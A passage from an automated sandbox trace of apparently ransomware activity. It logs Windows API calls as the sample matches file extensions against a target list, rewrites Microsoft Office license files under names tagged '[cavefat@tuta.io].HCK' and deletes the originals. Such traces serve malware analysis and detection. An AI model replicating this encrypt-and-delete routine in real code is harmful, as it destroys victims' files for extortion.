(hObject=0x4ac) returned 1 [0237.482] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.482] SetEndOfFile (hFile=0x544) returned 1 [0237.485] CloseHandle (hObject=0x544) returned 1 [0237.485] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0237.485] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-pl.xrm-ms")) returned 1 [0237.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0237.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0237.486] lstrlenW (lpString=".doc") returned 4 [0237.486] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0237.486] lstrlenW (lpString=".docx") returned 5 [0237.486] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0237.486] lstrlenW (lpString=".pdf") returned 4 [0237.486] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0237.486] lstrlenW (lpString=".xls") returned 4 [0237.486] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0237.486] lstrlenW (lpString=".xlsx") returned 5 [0237.486] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0237.486] lstrlenW (lpString=".ppt") returned 4 [0237.486] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0237.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0237.486] lstrlenW (lpString=".zip") returned 4 [0237.487] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0237.487] lstrlenW (lpString=".rar") returned 4 [0237.487] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0237.487] lstrlenW (lpString=".bz2") returned 4 [0237.487] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0237.487] lstrlenW (lpString=".7z") returned 3 [0237.487] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0237.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0237.487] lstrlenW (lpString=".dbf") returned 4 [0237.487] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0237.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0237.487] lstrlenW (lpString=".1cd") returned 4 [0237.487] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0237.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0237.487] lstrlenW (lpString=".jpg") returned 4 [0237.487] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0237.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0237.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0237.487] lstrlenW (lpString=".doc") returned 4 [0237.487] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0237.487] lstrlenW (lpString=".docx") returned 5 [0237.487] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0237.487] lstrlenW (lpString=".pdf") returned 4 [0237.487] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0237.487] lstrlenW (lpString=".xls") returned 4 [0237.487] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0237.487] lstrlenW (lpString=".xlsx") returned 5 [0237.487] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0237.487] lstrlenW (lpString=".ppt") returned 4 [0237.487] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0237.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0237.487] lstrlenW (lpString=".zip") returned 4 [0237.487] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0237.487] lstrlenW (lpString=".rar") returned 4 [0237.487] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0237.487] lstrlenW (lpString=".bz2") returned 4 [0237.487] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0237.487] lstrlenW (lpString=".7z") returned 3 [0237.487] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0237.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0237.487] lstrlenW (lpString=".dbf") returned 4 [0237.487] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0237.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0237.487] lstrlenW (lpString=".1cd") returned 4 [0237.487] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0237.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0237.487] lstrlenW (lpString=".jpg") returned 4 [0237.488] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0237.488] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0237.488] lstrlenW (lpString="HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 37 [0237.488] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0237.489] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=21977) returned 1 [0237.489] CloseHandle (hObject=0x544) returned 1 [0237.489] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ppd.xrm-ms")) returned 0x220 [0237.489] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0237.489] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0237.489] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.489] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.490] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0237.490] GetLastError () returned 0x0 [0237.490] ReadFile (in: hFile=0x544, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x55d9, lpOverlapped=0x0) returned 1 [0237.492] WriteFile (in: hFile=0x4ac, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x55e0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x55e0, lpOverlapped=0x0) returned 1 [0237.493] ReadFile (in: hFile=0x544, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0237.493] WriteFile (in: hFile=0x4ac, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x11e, lpOverlapped=0x0) returned 1 [0237.493] SetEndOfFile (hFile=0x4ac) returned 1 [0237.494] CloseHandle (hObject=0x4ac) returned 1 [0237.494] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.494] SetEndOfFile (hFile=0x544) returned 1 [0237.534] CloseHandle (hObject=0x544) returned 1 [0237.535] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0237.682] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ppd.xrm-ms")) returned 1 [0237.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0237.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0237.683] lstrlenW (lpString=".doc") returned 4 [0237.683] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0237.683] lstrlenW (lpString=".docx") returned 5 [0237.683] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0237.683] lstrlenW (lpString=".pdf") returned 4 [0237.683] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0237.683] lstrlenW (lpString=".xls") returned 4 [0237.683] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0237.683] lstrlenW (lpString=".xlsx") returned 5 [0237.683] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0237.683] lstrlenW (lpString=".ppt") returned 4 [0237.683] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0237.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0237.683] lstrlenW (lpString=".zip") returned 4 [0237.683] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0237.683] lstrlenW (lpString=".rar") returned 4 [0237.683] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0237.683] lstrlenW (lpString=".bz2") returned 4 [0237.683] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0237.683] lstrlenW (lpString=".7z") returned 3 [0237.683] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0237.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0237.683] lstrlenW (lpString=".dbf") returned 4 [0237.683] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0237.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0237.683] lstrlenW (lpString=".1cd") returned 4 [0237.683] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0237.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0237.683] lstrlenW (lpString=".jpg") returned 4 [0237.683] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0237.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0237.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0237.683] lstrlenW (lpString=".doc") returned 4 [0237.683] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0237.683] lstrlenW (lpString=".docx") returned 5 [0237.683] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0237.683] lstrlenW (lpString=".pdf") returned 4 [0237.683] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0237.683] lstrlenW (lpString=".xls") returned 4 [0237.684] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0237.684] lstrlenW (lpString=".xlsx") returned 5 [0237.684] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0237.684] lstrlenW (lpString=".ppt") returned 4 [0237.684] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0237.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0237.684] lstrlenW (lpString=".zip") returned 4 [0237.684] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0237.684] lstrlenW (lpString=".rar") returned 4 [0237.684] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0237.684] lstrlenW (lpString=".bz2") returned 4 [0237.684] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0237.684] lstrlenW (lpString=".7z") returned 3 [0237.684] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0237.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0237.684] lstrlenW (lpString=".dbf") returned 4 [0237.684] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0237.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0237.684] lstrlenW (lpString=".1cd") returned 4 [0237.684] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0237.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0237.684] lstrlenW (lpString=".jpg") returned 4 [0237.684] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0237.684] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0237.684] lstrlenW (lpString="HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 40 [0237.684] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0237.685] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=11637) returned 1 [0237.685] CloseHandle (hObject=0x568) returned 1 [0237.685] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-oob.xrm-ms")) returned 0x220 [0237.685] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0237.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0237.686] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.686] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0237.686] GetLastError () returned 0x0 [0237.686] ReadFile (in: hFile=0x568, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x2d75, lpOverlapped=0x0) returned 1 [0237.689] WriteFile (in: hFile=0x4a4, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x2d80, lpOverlapped=0x0) returned 1 [0237.690] ReadFile (in: hFile=0x568, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0237.690] WriteFile (in: hFile=0x4a4, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x124, lpOverlapped=0x0) returned 1 [0237.690] SetEndOfFile (hFile=0x4a4) returned 1 [0237.690] CloseHandle (hObject=0x4a4) returned 1 [0237.691] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.691] SetEndOfFile (hFile=0x568) returned 1 [0237.694] CloseHandle (hObject=0x568) returned 1 [0237.694] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0237.698] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-oob.xrm-ms")) returned 1 [0237.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0237.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0237.873] lstrlenW (lpString=".doc") returned 4 [0237.873] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0237.873] lstrlenW (lpString=".docx") returned 5 [0237.873] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0237.873] lstrlenW (lpString=".pdf") returned 4 [0237.873] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0237.873] lstrlenW (lpString=".xls") returned 4 [0237.873] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0237.873] lstrlenW (lpString=".xlsx") returned 5 [0237.873] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0237.873] lstrlenW (lpString=".ppt") returned 4 [0237.873] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0237.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0237.873] lstrlenW (lpString=".zip") returned 4 [0237.873] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0237.873] lstrlenW (lpString=".rar") returned 4 [0237.873] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0237.873] lstrlenW (lpString=".bz2") returned 4 [0237.874] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0237.874] lstrlenW (lpString=".7z") returned 3 [0237.874] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0237.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0237.874] lstrlenW (lpString=".dbf") returned 4 [0237.874] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0237.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0237.874] lstrlenW (lpString=".1cd") returned 4 [0237.874] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0237.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0237.874] lstrlenW (lpString=".jpg") returned 4 [0237.874] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0237.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0237.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0237.874] lstrlenW (lpString=".doc") returned 4 [0237.874] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0237.874] lstrlenW (lpString=".docx") returned 5 [0237.874] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0237.874] lstrlenW (lpString=".pdf") returned 4 [0237.874] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0237.874] lstrlenW (lpString=".xls") returned 4 [0237.874] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0237.874] lstrlenW (lpString=".xlsx") returned 5 [0237.874] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0237.874] lstrlenW (lpString=".ppt") returned 4 [0237.874] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0237.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0237.874] lstrlenW (lpString=".zip") returned 4 [0237.874] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0237.874] lstrlenW (lpString=".rar") returned 4 [0237.874] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0237.874] lstrlenW (lpString=".bz2") returned 4 [0237.874] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0237.874] lstrlenW (lpString=".7z") returned 3 [0237.874] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0237.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0237.874] lstrlenW (lpString=".dbf") returned 4 [0237.874] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0237.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0237.874] lstrlenW (lpString=".1cd") returned 4 [0237.874] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0237.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0237.874] lstrlenW (lpString=".jpg") returned 4 [0237.874] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0237.874] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0237.875] lstrlenW (lpString="HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 32 [0237.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0237.962] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=10663) returned 1 [0237.962] CloseHandle (hObject=0x55c) returned 1 [0237.962] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-pl.xrm-ms")) returned 0x220 [0238.016] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0238.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0238.187] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.196] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft 